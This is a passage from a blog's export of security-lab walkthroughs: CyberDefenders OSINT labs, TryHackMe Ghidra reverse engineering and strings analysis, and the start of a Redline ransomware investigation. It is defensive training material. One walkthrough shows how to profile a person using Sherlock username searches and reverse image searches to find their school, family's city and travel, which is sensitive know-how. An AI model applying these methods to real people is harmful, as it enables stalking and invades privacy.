seems like there is no clear match\u0026hellip;\nI suspect what is happening here is that the image results have changed since the challenge was originally made three years ago, and the result isn\u0026rsquo;t quite as easy to locate as it was then (or no longer exists).\nStick with me though as I remain undeterred! We need to narrow this search scope down somehow. Our only lead is that the challenge question mentions \u0026quot; # \u0026quot;\nState\u0026quot; I am making the assumption that this means the United States since the rest of the challenges have referred to American entities.\nSo, I will do what any normal analyst would do — search for \u0026quot; # \u0026quot;\nList of dinosaur parks\u0026quot; on Wikipedia and scroll to the United States section.\nThat is a lot of parks\u0026hellip;\nhttps://en.wikipedia.org/wiki/List_of_dinosaur_parks\nNow for some hindsight: Did I absolutely go through _Google\u0026rsquo;s s_treet view of each one of these parks in the vain hope of finding this Pterodactyl to complete this write-up? Yes, I did.\nIn my search, I eventually and mercifully stumbled upon this image:\nImage credit: Google Maps\nRed building — check. Weird rocks — also check. Potential Pterodactyl sighting — Maybe?\nSo, I decided to go through every single one of the Google photos for this location using the handy \u0026quot; # \u0026quot;\nDinosaur\u0026quot; tag filter.\nImage Credit: Google\nThanks to some user content, we can finally confirm that we found the same Pterodactyl! Since I went through the Wikipedia list, we know what state this park is in already!\nConclusion: Whew! Excellent job with the investigation! We made it through the Intel101 Blue Team Lab and successfully uncovered the public data we were looking for.\nTo wrap this up, thank you to CyberDefenders for the challenging (and sometimes frustrating) lab and the opportunity to practice OSINT analysis. The research process using Google and The Wayback Machine was really engaging and kept me thinking creatively while exploring the breadth of exposure that a user might have online and how difficult it is for data to truly be removed.\nThank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!\nTools \u0026amp; References: CyberDefenders: https://cyberdefenders.org/\nSANS: https://www.sans.org/blog/what-is-open-source-intelligence/\nDomainTools Whois: https://whois.domaintools.com/\nGoogle: https://www.google.com\nBetter Business Bureau: https://www.bbb.org/us/ga/dublin/profile/cable-tv/charter-spectrum-0743-45535\nWikipedia (Charter Communications): https://en.wikipedia.org/wiki/Charter_Communications\nGraham Cluley: https://grahamcluley.com/uk-cabinet-zoom-meeting/\nChamplain College: https://www.champlain.edu/about-champlain/consumer-information-and-disclosures\nInternet Archive Wayback Machine: https://web.archive.org/\nBing: https://www.bing.com/\nGoogle Lens: https://lens.google.com/\nYandex: https://yandex.com/images/\nWikipedia (Pteranodon): https://en.wikipedia.org/wiki/Pteranodon\nWikipedia (List of Dinosaur Parks): https://en.wikipedia.org/wiki/List_of_dinosaur_parks\n","date":"2024-05-05T00:00:00Z","image":"/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/4c57e55c2113098ab67f42b60e44ea50_MD5.png","permalink":"/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/","title":"CyberDefenders  —  Intel101 Blue Team Lab Walkthrough"},{"content":"CyberDefenders.org — L\u0026rsquo;espion Blue Team Lab Walkthrough OSINT investigation with Google and Sherlock Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/lespion/\nIntroduction: Welcome to my weekly walkthrough! Have you ever wondered about using passive Open-Source Intelligence (OSINT) to investigate a potentially malicious insider? Well we\u0026rsquo;re about to do just that by tackling the L\u0026rsquo;espion Blue Team Lab on CyberDefenders.\nThis is a threat intelligence challenge requiring us defenders to investigate and incident using passive open-source intelligence (OSINT) to determine the details of the attacker\u0026rsquo;s identity.\nNow what is OSINT anyway? According to the SANS Institute:\nOpen-Source Intelligence (OSINT) is defined as intelligence produced by collecting, evaluating and analyzing publicly available information with the purpose of answering a specific intelligence question.\nSo, whether you\u0026rsquo;re here to learn about OSINT or are just looking for a reference walkthrough for the CyberDefenders L\u0026rsquo;espion Blue Team Lab , you\u0026rsquo;ve stumbled on the right spot. In the spirit of learning, I will not be revealing any flags, but I encourage you to follow along during your own investigation and reference this post if you get stuck.\nThanks for reading along, let\u0026rsquo;s have some fun!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/lespion/\nChallenge Scenario: You, as a soc analyst, have been tasked by a client whose network was compromised and brought offline to investigate the incident and determine the attacker\u0026rsquo;s identity.\nIncident responders and digital forensic investigators are currently on the scene and have conducted a preliminary investigation. Their findings show that the attack originated from a single user account, probably, an insider.\nInvestigate the incident, find the insider, and uncover the attack actions.\nTools\nGoogle Maps\nGoogle Image search\nsherlock\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first — It\u0026rsquo;s always a good idea when working with lab/challenge files from CyberDefenders (or any lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine. For example, I\u0026rsquo;m using REMnux for this challenge and walkthrough.\nTo keep this write-up focused I\u0026rsquo;m going to skip a step-by-step setup guide of REMnux. Instead, if you want to set up your own REMnux environment please follow the directions provided by REMnux directly. I opted for the virtual appliance method:\nhttps://docs.remnux.org/install-distro/get-virtual-appliance\nOkay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!\nQuestion 1: File -\u0026gt; Github.txt: What is the API key the insider added to his GitHub repositories? All right let\u0026rsquo;s dive right in and extract the challenge file!\nOnce we extract the challenge file, we\u0026rsquo;ll have a few pieces of evidence to review. Question 1 is pointing us to the Github.txt so let\u0026rsquo;s open it up and see what\u0026rsquo;s inside!\nWe have a GitHub URL to examine, so let\u0026rsquo;s start there, check out the page, and then navigate to the Repositories tab.\nThere are quite a few forked repositories from other, well-known cybersecurity projects but the top one sticks out as a working repository.\nNow that we are in the repository, we have a couple of options — we can either browse the code from our browser or examine it locally. For this challenge, let\u0026rsquo;s clone this repository so that we can examine the JavaScript (.js) files and scan them for secrets within REMnux.\ngit clone https://github.com/EMarseille99/Project-Build---Custom-Login-Page.git\nLet\u0026rsquo;s start simple and utilize the strings command so that we can search the code without executing it. To help narrow the results, let\u0026rsquo;s grep the output and filter only for a specific string. Since we are looking for an API Key, we can just _grep\u0026quot;API\u0026quot; — we\u0026rsquo;ll use the -i to ignore case sensitivity.\nLucky for us, we found an exposed API key in the code. Let\u0026rsquo;s submit the answer to check our work:\nQuestion 2: File -\u0026gt; Github.txt: What is the plaintext password the insider added to his GitHub repositories? For Question 2, we\u0026rsquo;ll try the same approach that we did to locate the API Key. This time, we\u0026rsquo;ll _s_earch for \u0026quot; # \u0026quot;\nPassword\u0026quot; instead of \u0026quot; # \u0026quot;\nAPI\u0026quot; to look for the credential.\nOkay, we found a couple of strings; let\u0026rsquo;s focus on the bottom two. It looks like we have a complex password string; either the user machine-generated their password or we are looking at some sort of encoding. Fortunately, the last string says Base64, this gives us a clue that the string might be encoded with Base64.\nLet\u0026rsquo;s verify this and see if we can take the password string and convert it from Base64 encoding.\nTo do this, we\u0026rsquo;ll just jump into CyberChef since it\u0026rsquo;s already built-in to REMnux (the online version works, too). Then, we\u0026rsquo;ll copy the string and apply the \u0026quot; # \u0026ldquo;From Base64\u0026quot;operator to the recipe:\nVoila! We confirmed that the password string was Base64 encoded, and we can move forward with the investigation.\nQuestion 3: File -\u0026gt; Github.txt: What cryptocurrency mining tool did the insider use? This time, we will return to the user\u0026rsquo;s GitHub repositories to see if they have any cryptocurrency mining repositories forked. We\u0026rsquo;ll take the path of least resistance and use our browser\u0026rsquo;s find function and search \u0026quot; # \u0026ldquo;miner\u0026quot;to locate the answer.\nQuestion 4: What university did the insider go to? Okay, let\u0026rsquo;s pivot and move over to utilizing a search engine to find out more information about the insider. We\u0026rsquo;ll do a quick Google search for the username that we found on GitHub — EMarseille99.\nSince we\u0026rsquo;re looking for professional information, let\u0026rsquo;s focus on checking LinkedIn first.\nThe profile picture and job title are a match, so we can be confident that we have discovered the the right profile. More importantly for the scope of this challenge, the user has their university listed!\nQuestion 5: What gaming website the insider had an account on? From the Google search in the previous question, I didn\u0026rsquo;t see any clear information that pointed us to a gaming website. So let\u0026rsquo;s try to expand our search scope a bit by utilizing one of the tools suggested in the challenge scenario — Sherlock.\nAccording to the project\u0026rsquo;s GitHub page, Sherlock is a tool used to:\nHunt down social media accounts by username across social networks\nAfter following the installation instructions, we\u0026rsquo;ll enter the username and see what open-source intelligence the tool can locate about the target:\npython3 sherlock EMarseille99\nThe Sherlock results\nOkay, let\u0026rsquo;s review the output from Sherlock. We see a couple of gaming-related websites here but none of the listed sites match what the challenge is looking for\u0026hellip;\nSide Note: For the walkthrough, we\u0026rsquo;re going to skip ahead to Question 6 for now. The process to find the answer for Question 5 is there, too.\nQuestion 6: What is the link to the insider Instagram profile? Since Sherlock didn\u0026rsquo;t turn up anything interesting for Instagram either, let\u0026rsquo;s double check the project\u0026rsquo;s documentation on GitHub to check if we misconfigured the scan. It turns out that there is a list of sites that have been removed from Sherlock\u0026rsquo;s scope due to false positives or errors and Instagram is one of them.\nImage Credit: https://github.com/sherlock-project/sherlock/blob/master/removed_sites.md\nThat\u0026rsquo;s unfortunate, but no problem as we can pivot back to Google and focus our search on Instagram.\nWe\u0026rsquo;ll get several results, but the top result is a link to the user\u0026rsquo;s profile. If we copy the link, we will have the insider\u0026rsquo;s Instagram profile URL!\nNow, let\u0026rsquo;s revisit Question 5 to discover what gaming website the user has a profile on. Let\u0026rsquo;s review our previous Google search where one of the results catches our eye and might help us to answer Question 5:\nOnce we click into the post, we can see that the user is inviting people to play games with them using a QR code link_._\nIf you follow the URL in the QR code, we are taken to the user\u0026rsquo;s gaming profile, and we now have the answer to Question 5!\nQuestion 7: Where did the insider go on the holiday? (Country only) Let\u0026rsquo;s continue browsing the user\u0026rsquo;s Instagram posts to see if we can find any clues. Eventually, we stumble on this post — notice the comment with the photo which mentions holiday?\nLet\u0026rsquo;s take this photo and see if we can leverage Google reverse image search on https://images.google.com to determine the location the photograph was taken?\nOnce we drop the photo into Google, we can quickly determine what country this location is in — very cool!\nQuestion 8: Where is the insider family live? (City only) Sticking with Instagram, we\u0026rsquo;ll continue reviewing the posts. We\u0026rsquo;ll find one post that mentions family.\nIf we try the Google image search like we did for the last question however, we\u0026rsquo;ll find that the results are inconclusive. We probably need to keep looking, don\u0026rsquo;t we?\nDid you notice that the post mentioned it was Photo 1/2? What if we check out the second photo? This one looks a little more distinctive. Let\u0026rsquo;s try the Google search again.\nÉmilie Marseille on Instagram: \u0026ldquo;photo 2/2\u0026rdquo; _4 likes, 2 comments - emarseille99 on May 23, 2020: \u0026ldquo;photo 2/2\u0026rdquo;._www.instagram.com\nThis time the results are much more specific! Let\u0026rsquo;s confirm our findings:\nQuestion 9: File -\u0026gt; office.jpg: You have been provided with a picture of the building in which the company has an office. Which city is the company located in? Okay, we\u0026rsquo;re closing in on the end of the investigation. This time we\u0026rsquo;re going to return to the evidence files that we downloaded for the challenge and focus on the image office.jpg.\nOnce we open the image, we can focus on the street sign which notes some nearby landmarks.\nWe can search any of these landmarks on Google to discover which city this image was taken in. For example, I chose the landmarks on the left-hand sign:\nQuestion 10: File -\u0026gt; Webcam.png: With the intel, you have provided, our ground surveillance unit is now overlooking the person of interest suspected address. They saw them leaving their apartment and followed them to the airport. Their plane took off and has landed in another country. Our intelligence team spotted the target with this IP camera. Which state is this camera in? All right, we made it to the last question! Let\u0026rsquo;s determine where the target landed.\nWe\u0026rsquo;ll upload the evidence file, WebCam.png into the Google image search one more time.\nRight away, we\u0026rsquo;ll get several results with the name of the landmark — we simply need to Google that landmark to determine what state it is in!\nConclusion: Excellent job with the investigation! We made it through the L\u0026rsquo;espion Blue Team Lab and collected valuable intelligence on the target.\nTo wrap this up, thank you to CyberDefenders for the entertaining lab and the opportunity to engage with of the world of OSINT. The research process using Google and Sherlock was really interesting and got me thinking creatively while exploring just how much exposure a user might have online.\nThank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!\nTools \u0026amp; References: SANS: https://www.sans.org/blog/what-is-open-source-intelligence/\nREMnux: https://docs.remnux.org/install-distro/get-virtual-appliance\nCyberChef: https://gchq.github.io/CyberChef/\nSherlock: https://github.com/sherlock-project/sherlock\nGoogle: https://images.google.com/\n","date":"2024-04-28T00:00:00Z","image":"/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/5b1844e51e16f15903e3ddb6e0745d54_MD5.png","permalink":"/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/","title":"CyberDefenders —  L’espion Blue Team Lab Walkthrough"},{"content":"TryHackMe — Basic Malware RE Walkthrough Basic malware reverse engineering with Ghidra Image Credit: https://tryhackme.com/r/room/basicmalwarere\nIntroduction: Have you ever wondered how malware reverse engineering works when using Ghidra? We’re about to find out together!\nWelcome to my weekly walkthrough where we’ll tackle the Basic Malware RE room on TryHackMe. This is a follow-up to the MAL: Strings room on the Cyber Defense learning path that I explored last week.\nTryHackMe — MAL: Strings Room Walkthrough\nAs a beginner with reverse engineering, I’m confident that this room will challenge me with the basics and help me to fill in some knowledge gaps. So, while I’m still learning and won’t have many real-world application tips this time around, the hands-on experience will be a lot of fun.\nSo, whether you’re here to learn with me or looking for a reference walkthrough for the TryHackMe Basic Malware RE room, you’re in the right spot. In the spirit of learning, I will not be revealing any flags but I encourage you to follow along on your own. Thanks for reading along, hope it helps!\nChallenge Link: https://tryhackme.com/r/room/basicmalwarere\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first — It’s always a good idea when working with lab/challenge files from TryHackMe (or any lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine. For example, I’m using REMnux for this challenge and walkthrough .\nSecond, I want to make a note that I’ll be referencing the excellent REMnux Documentation in this post. This is a great resource to discover the tools available within the environment.\nhttps://docs.remnux.org/\nThird, to keep this write-up focused I’m going to skip a step-by-step setup guide of REMnux. Instead, if you want to set up your own REMnux environment please follow the directions provided by REMnux directly. I opted for the virtual appliance method:\nhttps://docs.remnux.org/install-distro/get-virtual-appliance\nOkay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started! For this one, we have three tasks, and the extraction process is the same:\nStrings :: Challenge 1 This executable prints an MD5 Hash on the screen when executed. Can you grab the exact flag? Building on my write-up for the previous room in the series, MAL:Strings, we’ll start simple and utilize the strings command to see if there is anything obvious that we can find.\nSnippet from the strings output\nWoah! There are hundreds of FLAG strings. This looks like it might be a bit more complicated to analyze so we’ll need to pivot from simply using the strings command. The challenge states that dynamic analysis is out of the question, so we can’t execute the binary or use a debugger. Maybe we can use something like Ghidra, which is built in to REMnux, so that we can perform static analysis on the code? Now, full disclosure I have little experience with Ghidra outside of a lab or two. So, let’s get some background on what Ghidra is from the project’s GitHub before we stumble through this together.\nGhidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features.\nNow, let’s launch Ghidra. When it starts up_,_ we’ll create a project, drop in the strings1.exe, and let Ghidra perform the initial analysis. Once that is completed, we’ll have the symbol tree displayed on the left, the listing contents in the center, and the decompile window on the right.\nLet’s start by looking at the functions. Based on what we know about this binary already, when the application is executed, it prints an MD5 hash of the flag string. So, put another way we need to find the MD5 hashing function and then locate the string within the code that is being hashed — this will be the flag we are looking for.\nAfter doing some research, we’ll start by examining the entry function. We’ll enlist help from Microsoft Co-Pilot to explain this better for us and fill in some knowledge gaps. As a side note, remember to always verify the sources and information given by generative AI for accuracy.\nThe “entry function” in Ghidra refers to the initial function that is called when a program starts running. It’s the point where the control is transferred from the operating system to the program. In the context of reverse engineering, when you load a binary into Ghidra, it tries to identify this entry point so that analysts can begin tracing the program’s execution from the very start.\nGreat, this sounds like a good place to start! Right away, we see some evidence of a flag. While this seems promising, let’s dig in and try to understand what we are seeing.\nLet’s focus on the decompile window. We see a character pointer, which is typically used to point to a memory location that stores a string: char *lpText;\nIt looks like this points to a string transformed by an MD5 hashing function. Messy explanation, I know, but stick with me and let’s double- click on the string that ends in “_00432294”.\nThis takes us to the below location in the code:\nThe top line matches the hash function string we found. Now let’s click the 00424828 entry…\nThere we go! We saw the complete flag string and managed to find our first flag! Awesome job!\nStrings :: Challenge 2 This executable prints an MD5 Hash on the screen when executed. Can you grab the exact flag? We’ll start this task the same way we did with the first one — we’ll create a new project in Ghidra, drop in the strings2.exe, and let Ghidra perform the initial analysis. Once that is complete, we’ll again start with the entry function and focus on the decompile window:\nThis time, as we scroll through the entry, we’ll see a different character pointer than we did in Task 1: char *local_8;\nIt seems like this points to another MD5 hashed string. This time instead of a fully defined string like we saw in Task 1, it appears that we have different variables in a stack represented as hexadecimal (hex) values that are hashed in sequence to form the full string. Lower address variables in the stack will be added first, so local_2c = “F”; would be added before local_2b = 0x4c; — maybe the F is the first character in “Flag”?\nLet’s test the theory and focus on converting the hex values to ASCII and see if this reveals a flag.\nTo do this, I am going to copy out the code with the hex values and add them to CyberChef so that we can perform the cleanup and conversion_._ The first goal is to strip out all the code other than the hex values. For this we can add a Find/Replace operation to the recipe and apply the following regular expression (REGEX) to the find operation: ^[^,]*,\nThis should match everything from the start of each line up to the first comma.\nNow all we should have to do is add the “From Hex” operation to the recipe to convert the hex to ASCII to reveal the flag!\nLet’s submit and check if we stumbled through this one correctly!\nStrings :: Challenge 3 This executable prints an MD5 Hash on the screen when executed. Can you grab the exact flag? Once again, we’ll start this task the same way we did with the last two tasks — we’ll create a new project in Ghidra, drop in the strings3.exe, and let Ghidra perform the initial analysis. Once that completes, we’ll again start with the entry function and focus on the decompile window:\nFor this task, the code looks a little different than we saw in the previous two tasks. As this is a strings challenge, something sticks out to me, the LoadStringA function. I’ll lean on the documentation Microsoft Learn to help me out with some context for this function:\nLoads a string resource from the executable file associated with a specified module and either copies the string into a buffer with a terminating null character or returns a read-only pointer to the string resource itself.\nSo, it looks like maybe strings3.exe is loading a string with the ID of 0x110 and then copies it into the memory buffer local_4a4 .\nSo, we’ll chase this theory and click the 0x110 ID in the decompile window.\nRight away, we’ve stumbled upon some evidence of the flag we are looking for in the code! Let’s examine the function call by clicking on CALL which takes us to the below strings table which contains several flags.\nThe top string matches the flag we found earlier, but let’s double verify before we try to submit. Remember that we click the 0x110 that we thought may be the identifier of the flag?\nIn the strings table we don’t see this value, but we do have a column of String IDs. In Task 2 we performed a hex to ASCII conversion, this time we can try a hex to decimal conversion. Fortunately, Ghidra has already taken care of this for us — we simply need to mouse over the 0x110 ID to get the decimal value of 272.\nThis confirms our findings and now we know for certain that String ID 272 is the flag string we are searching for. We managed to find our third and final flag!\nConclusion: Awesome job! We might have stumbled a bit, but we made it through the Basic Malware RE room using Ghidra!\nTo wrap this up, thank you to TryHackMe for the challenging room and the valuable exposure to reverse engineering as I close in on the end of the Cyber Defense learning path.\nThis room was tougher than usual for me as I started out as a novice in reverse engineering and using Ghidra. But the experience was incredibly helpful to highlight my own gaps in reverse engineering knowledge and to help get me some hands-on practice. It was fun to think creatively and test how one might leverage generative AI solutions to help a newbie with static code analysis. In the real world, I might have skipped right to dynamic analysis in a sandbox but that isn’t always an option and understanding what is going on “under the hood” can be far more beneficial for deep analysis.\nThank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!\nTools \u0026amp; References: TryHackMe: https://tryhackme.com/r/room/basicmalwarere\nREMnux: https://docs.remnux.org/discover-the-tools/statically+analyze+code/general#ghidra\nGhidra: https://ghidra-sre.org/\nMicrosoft Copilot: https://www.microsoft.com/en-us/windows/copilot-ai-features?r=1\nCyberChef: https://gchq.github.io/CyberChef/\nMicrosoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadstringa\n","date":"2024-04-21T00:00:00Z","image":"/posts/tryhackme-basic-malware-re-walkthrough/d2c1203d820d702206ccfacedf9d4102_MD5.jpg","permalink":"/posts/tryhackme-basic-malware-re-walkthrough/","title":"TryHackMe  —  Basic Malware RE Walkthrough"},{"content":"TryHackMe — MAL: Strings Room Walkthrough Investigating strings within an application Image Credit: https://tryhackme.com/r/room/malstrings\nIntroduction: Hello! Welcome and thanks for joining me for this weekly walkthrough!\nThis week, I am doing something a little different. Rather than a challenge, I am going through the MAL: Strings room over on TryHackMe. This room is part of their Cyber Defense learning path. I’ve been putting off finishing this path for a while, but I thought it might be a good time to tackle this room and do a write up, too! This is a brief room but touches on some really valuable resources like researching CVEs, OWASP, crypto wallet address lookups, and Sysinternals Strings, so stick around!\nAs always, this write-up serves as a learning journey notebook for me and a TryHackMe room reference walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!\nChallenge Link: https://tryhackme.com/r/room/malstrings\nWhat are “strings”? While this information is covered very well in the room’s learning content, I want to put an excerpt here for reference that will help frame the tasks as we move forward about what exactly strings are.\nBackground on strings from Task 1:\nFrom a programming perspective, “strings” is the term given for data handled by an application. At a broader view, these pieces of data are used to store information such as text to numerical values.\nFor example, let’s say we have an application such as a calculator. A user will have to input two numerical values (e.g. 1 and 5) combined with an operator (e.g. + or plus) addition in this case. These values will be stored as “strings”.\nHowever “strings” can be stored within the application itself — where no input is necessary from the user. For example, using the example of usernames and passwords is a great representation of the many types of information that may be stored as a “string”.\nSo put another way, if we are analyzing an application or some code, being able to extract strings can help us as analysts to understand a program’s intent or functionality and could reveal interesting artifacts like IP addresses, URLs, commands, credentials, etc. With that in mind, let’s start working through the room!\nTask 1 What is the name of the account that had the passcode of “12345678” in the intellian example discussed above? Jumping right in, we’re looking at examples of software vulnerabilities caused by storing sensitive information like passwords within the application which might lead to unintended access or information disclosure.\nThe task states that:\nIntellian, a satellite-communications focused company had the disclosure of their “Aptus Web 1.24” application retaining a default passcode of “12345678”\nSo, we need to do some research to discover what the account name associated with the default password is. We’ll start by visiting the CVEdetails website so that we can search the vendor and product name from the question. Let’s input the information and see what we can find.\nOnce we get to the product page for the vulnerable version listed in the task content, we find two vulnerabilities. If we look at the descriptions, we see that the first one, CVE-2020–8000, has a hard coded password that matches what we are looking for. From there, we have the username as well!\nIntellian Aptus Web 1.24 has a hardcoded password of 12345678 for the intellian account.\nWhat is the CVE entry disclosed by the company “Teradata” in their “Viewpoint” Application that has a password within a string? We’ll follow the same process that we did for the last question. Let’s search the CVEdetails and see if we can discover the CVE entry assigned to the vulnerability in the Teradata Viewpoint application.\nAccording to OWASP’s list of “Top Ten IoT” vulnerabilities, name the ranking this vulnerability would fall within, represented as text. For those who are unfamiliar, the Open Worldwide Application Security Project (OWASP) is a foundation that publishes guidance to help developers create secure software projects. The OWASP Top 10 documents are like “what not to do” lists so developers can avoid the most commonly exploited security mistakes for a particular category of software or application. For our purposes, we want to review the OWASP Internet of Things (IoT) Top 10.\nOWASP IOT Top 10:\nOWASP Internet of Things Project _Oxford defines the Internet of Things as: \u0026ldquo;A proposed development of the Internet in which everyday objects have…_wiki.owasp.org\nLet’s take a look at the IoT guidance. The previous two questions have been about vulnerabilities due to Hardcoded Passwords. According to OWASP, this the number one vulnerability facing IoT projects.\nTask 2 What is the correct username required by the “LoginForm”? What is the required password to authenticate with? What is the “hidden” THM{} flag? Now we get a little bit of hands-on time! The task files contain an executable called LoginForm.exe — for strings analysis we can use the built-in strings command in Linux. For the purposes of this task, I am using my own REMnux virtual machine but you can use any distro of your choice including the Kali Linux box on TryHackMe.\nSo, now that we have the file in our analysis environment, let’s just run the strings command and let it print to the console and see what we find!\nStrings output.\nOkay, there is a lot of data here. Maybe it will be easier to search if we output to a txt file instead? For this example, I am going to write to an output file called stringsdump.txt but you can use whatever you’d like.\nstrings LoginForm_1586175647590.exe \u0026gt; stringsdump.txt\nStrings output to txt file\nThere we go! If we scroll through the list, we’ll stumble on a few strings that look like a username, password, and a flag. Great find!\nTask 3 What is the key term to describe a server that Botnets recieve instructions from? Moving right along, there isn’t much that we need to do here. If we read through Task 3, we are able to answer this question from the learning content:\nmalware types such as botnets and ransomware rely upon information being stored within strings I.e. IP Addresses so that they are able to “call home” and connect to their “Command and Control” (C\u0026amp;C) server.\nBelow, I’ve added some additional context about the Command and Control tactic from MITRE ATT\u0026amp;ACK (TA0011).\nCommand and Control _The adversary is trying to communicate with compromised systems to control them. Command and Control consists of…_attack.mitre.org\nName the discussed example malware that uses “strings” to store the bitcoin wallet addresses for payment Same thing as the previous question — Let’s read through the task content to find the answer:\nA famous example is the “Wannacry” ransomware. The “killswitch” was a domain that was discovered as a value contained within a string.\nTask 4 List the number of total transactions that the Bitcoin wallet used by the “Wannacry” author(s) For this task, we’ll go and gather some intelligence on the Bitcoin wallet used by this threat actor to see how many transactions have occurred. There are a few sites we can do this on but let’s first check out the suggested website, BlockCypher.\nOnce we look up the Bitcoin address on the site, we’ll see the number of received Bitcoins and the total number of transactions for the address.\nBitcoin address lookup on BlockCypher\nFor fun, let’s check another source, ScamAlert. This website tracks Bitcoin wallet fraud and scams and can be used to check a Bitcoin addresses — very handy! Let’s look up the wallet address from the task here, too. We’ll find that the website has flagged it as a ransomware address. But what if we want more detail?\nBitcoin address lookup on ScamAlert\nIf we click the source URL, we are taken to Chainabuse (which has merged with Bitcoin Abuse). This is another site that can be used to report on malicious crypto activity. Now, if we input the wallet address on this site, we get even more intelligence that confirms the association with Wannacry/Wannacrypt.\nBitcoin address lookup on Chainabuse\nLet’s submit the answer of the total number of transactions that we discovered from BlockCypher and move on.\nWhat is the Bitcoin Address stored within “ComplexCalculator.exe” Okay, more hands-on time! This time around we will use a Windows environment instead of Linux. This is a great opportunity to try out the Strings tool which is part of the Microsoft Sysinternals suite of utilities_._\nFortunately, this task includes a virtual machine which has the Sysinternals utilities installed already. We will use strings.exe to extract the strings from within the included executable file, ComplexCalculatorv2.exe\nLet’s launch the virtual machine and see what we can discover!\nFirst, we’ll open the Command Prompt (cmd.exe) as Administrator. Then, we will change the directory to the folder on the Desktop containing the Sysinternals tools_._ Since Strings is a command-line utility, we will launch it from the command prompt and accept the license agreement.\nNow, let’s go ahead and run Strings using the following syntax. We’ll use the \u0026gt; operator to direct the output to a file instead of the console:\nstrings.exe ComplexCalculatorv2.exe \u0026gt; strings.txt\nNow that we have sent the output to a text file, let’s open it up in Notepad. Since we are searching for a Bitcoin address, let’s speed this up and use Notepad’s find function by pressing CTRL + F and typing in “bitcoin” — This should help us locate the string quickly!\nNice! It looks like we found our answer!\nTask 5 What is the name of the toolset provided by Microsoft that allows you to extract the “strings” of an application? Alright, we’re in the home stretch! Task 5 is going to focus on the theories that we just utilized in Task 4.\nIn the last task, we used Strings in the Windows environment. This utility is part of the Microsoft SysInternals toolset.\nStrings - Sysinternals _Search for ANSI and UNICODE strings in binary images._learn.microsoft.com\nWhat operator would you use to “pipe” or store the output of the strings command? I believe the question is asking about redirecting output, not piping, since we aren’t sending the output of the command into the input of another command. With that, remember in Task 4 that we directed the output of Strings with the \u0026gt; operator to a .txt file? I think we are looking for \u0026gt; as the answer.\nWhat is the name of the currency that ransomware often uses for payment? Okay, last one! In Task 4, we were looking up the Bitcoin address for Wannacry and Bitcoin is a type of cryptocurrency, so it seems to me that we already have the answer — let’s check our work!\nConclusion: Awesome job! We made it through the MAL: Strings room!\nThank you to TryHackMe for the interesting room as I close in on the end of the Cyber Defense learning path. While this room was pretty brief and a little light on the hands-on content, it was still a fun experience to do some research with CVEdetails and OWASP and to explore the Strings utilities available in Linux and Windows.\nI also enjoyed checking out some of the c_rypto wallet_ lookup tools and see what kind of intelligence can be found about Bitcoin addresses. This will definitely be useful in the field! It never hurts to have some more experience with a new tool to keep in your kit, after all!\nThank you so much for reading along. I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!\nTools \u0026amp; References: CVE Details: https://www.cvedetails.com/\nOWASP: https://wiki.owasp.org/index.php/OWASP_Internet_of_Things_Project#tab=IoT_Top_10\nREMnux: https://remnux.org/\nBlockCypher: https://live.blockcypher.com/\nScamAlert.io: https://scam-alert.io/\nChainAbuse: https://www.chainabuse.com/\nSysinternals Suite: https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite\n","date":"2024-04-14T00:00:00Z","image":"/posts/tryhackme-mal-strings-room-walkthrough/d71b8421aa2e7abb091a90a820c47e54_MD5.png","permalink":"/posts/tryhackme-mal-strings-room-walkthrough/","title":"TryHackMe  —  MAL Strings Room Walkthrough"},{"content":"TryHackMe — REvil Corp Challenge Walkthrough Incident Response Engagement using FireEye Redline Image Credit: https://tryhackme.com/r/room/revilcorp\nIntroduction: Hello — Thanks for joining me for this weekly walkthrough!\nThis week I am going to continue exploring the FireEye Redline tool by investigating the REvil Corp incident response challenge room over on TryHackMe.\nIn the spirit of learning, I will not be revealing the flags in this walkthrough but this is a FREE room so anyone can test their skills with Redline and perform the investigation along with me and find the answer on their own.\nThis challenge builds on my previous TryHackMe Redline walkthrough so I encourage you to start there first if you are just jumping in.\nTryHackMe — Redline Endpoint Investigation Challenge Walkthrough\nAs always, this write-up will serve as a learning notebook for me and a TryHackMe challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!\nChallenge Link: https://tryhackme.com/r/room/revilcorp\nChallenge Scenario: Scenario: One of the employees at Lockman Group gave an IT department the call; the user is frustrated and mentioned that all of his files are renamed to a weird file extension that he has never seen before. After looking at the user’s workstation, the IT guy already knew what was going on and transferred the case to the Incident Response team for further investigation.\nYou are the incident responder. Let’s see if you can solve this challenge using the infamous Redline tool. Happy Hunting, my friend!\nQuestion 1: What is the compromised employee’s full name? Fortunately, the analysis session has already been created for this challenge, so we simply need to open the investigation (.mans) file in Redline. Once it (finally) opens, we have quite a few options to explore in our Analysis Data menu.\nTo kick this off, let’s take a look at the Users tab to hunt for the usernames on the system and find out who the victim is.\nUsers Analysis Data\nSince the Administrator and Guest accounts are disabled, it looks like we only have one option. Let’s confirm our findings and keep going with the investigation.\nQuestion 2: What is the operating system of the compromised host? Okay, now that we know who the victim is let’s take a high-level view of the victim’s machine to better understand the environment. At the very top of the Analysis Data menu is the System Information tab. This tab is a great starting point for us and contains information about the Machine, Operating System, and User.\nQuestions 3 \u0026amp; 4: What is the 